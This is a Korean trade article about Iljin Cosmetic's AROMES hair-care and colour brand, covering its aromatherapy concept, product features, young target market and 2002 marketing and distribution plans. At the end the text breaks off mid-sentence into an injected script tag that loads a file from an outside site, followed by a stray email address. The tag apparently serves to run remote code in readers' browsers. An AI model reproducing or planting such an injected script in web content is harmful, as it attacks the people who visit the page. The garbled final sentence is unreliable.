개발 배경
2000년대는 헤어스타일에서 ‘자연미’를 가장 강조한다 해도 과언이 아니다. 자연스러운 웨이브, 내츄럴 칼라, 부드러운 스타일링, 동시에 자연스런 아름다움을 돋보이게 해주는 탄력 있고 윤기 나는 건강한 머릿결을 위해 헤어케어에 ‘내추럴리즘’ 물결이 일고 있다. 또한 헤어의 본질적인 아름다움을 추구하고, 모발을 보호하기 위해 식물추출물뿐만 아니라 해조류를 이용한 다양한 헤어케어 제품이 출시되고 있다.
‘내추럴리즘’을 지향하는 일진코스메틱은 헤어케어 제품 하나하나에 다양한 식물성분을 처방하고 있으며, 브랜드의 전체 컨셉을 제품의 기능적인 면과 함께 두피에 부드럽게 작용하고 머릿결을 유연하게 가꾸어주는 성분 및 기술개발에 초첨을 두고 있다. 이에 일반소비자 브랜드에도 이러한 자연주의의 효능효력을 그대로 전달해주고자 내추럴리즘의 한 분야인 아로마테라피를 응용하여 브랜드를 개발하였다.
아로마테라피(Aromatherapy)는 향기나는 식물에서 추출한 휘발성 물질을 이용하여 심신을 건강하게 하는 향기요법이다. 향기를 의미하는 아로마(Aroma)와 치료를 의미하는 테라피(Therapy)의 합성어로, 식물의 꽃이나 열매, 나무의 잎, 줄기 등으로부터 나오는 식물성 오일을 이용해서 모발을 촉촉하고 탄력있게 만들어주는 자연주의 요법이다.
브랜드 컨셉
브랜드 명인 ‘아로메스(AROMES)’는 천연의 자연 향 ‘아로마(AROMA)’를 전하는 ‘메시지(MESSAGE)’를 뜻한다.
식물 & 허브를 컨셉으로 하여 모발에 촉촉한 보습과 탄력을 복원시켜 주며 몸과 마음을 편안하게 해주는 천연 아로마향과 함께 모발의 건강함을 되돌려주고자 한다. 순수한 식물성 헤어케어는 인체에 유익하게 작용하며 친화적으로 흡수되는 이점이 있다. 세련된 스타일과 빛나는 머릿결로 회복시켜 주는 자연주의 헤어케어로 모발의 건강관리에서 자유로워 지자!
제품 특징
헤어컬러제의 생명인 선명한 발색력과 모발손상 최소화를 실현하고자 하는 것이 일진코스메틱 컬러제품의 공통된 컨셉이라고 할 수 있다. 이를 위해 과학적인 기술과 모발을 보호해주는 내츄럴 성분을 토대로 각 브랜드별로 염모제를 개발하고 있다.
염모제는 모발 잔류색소와 발색 밸런스를 고려한 합리적인 염료배합 시스템 개발로 색소가 부드럽게 모발내부에 안착하여 탁하지 않은 생생한 색조를 표현한다. 또한 계속되는 염색으로 갈라지고 약해진 모발과 민감해진 두피를 양이온성분 및 감초추출물 등이 커버하여 건강하고 탄력 있는 머릿결을 유지시켜 준다.
제품 타깃층
아로메스는 20~30대 젊은층을 겨냥한 신세대 브랜드이다.
심신에 이로운 것이 유행처럼 번져나는 젊은 소비자들에게 아로마컨셉의 제품구성으로 효능면을 강조한다.
마케팅·유통 전략
일진코스메틱은 하반기에 집중적으로 회사이미지를 재고하는 전략을 세우고 있다. 한일 국민교류의 해, 창립 40주년이 맞물린 2002년은, 역사 깊은 두발전문회사의 이미지를 기반으로 새롭게 도약하는 계기를 심을 수 있는 해이다. 이에 9월 국내 최초 한국과 일본의 최고 헤어드레서가 공동으로 헤어컬렉션을 개최하여 앞으로 한국 기업이미지를 격상시키고 한국미용문화 발전에 기여하고자 한다.
이러한 회사 이미지 재고와 함께 시판제품 시장의 활성화를 위하여 젊은층을 겨냥한 길거리 샘플링 행사를 지속적으로 추진하여 소비자와 일대일 대면전략을 세울 것이다. 특히 9월 새롭게 단장되는 홈페이지에 제품샘플에 대한 메뉴를 구성하여 소비자들이 구입 전 제품에 대한 효능과 신뢰를 쌓을 수 있게끔 할 계획이다.
일진 코스메틱은 프로페셔널 리뉴얼 브랜드 듀렌에서 다이나믹 칼라를 선보였으며, 시판브랜드 아로메스 칼라박스의 카톤을 새롭게 단장하여 품질과 디자인 차별화를 실시하였다.
이렇게 미용전문가를 타깃으로 한 프로페셔널 제품과 일반소비자를 타깃으로 한 시판용 제품 각각의 특성에 맞게 맞춤타깃을 위한 적절한 마케팅 전략을 위해 노력을 기울이고 있다. 이와 함께 전국 미용재료상 중 우수 대리점을 지역별로 엄선하여 브랜드 가치, 제품 가치를 높일 수 있도록 보다 밀착된 유통질서를 확립에 주력하고 있다.
또한 전국적인 유통망을 유지하?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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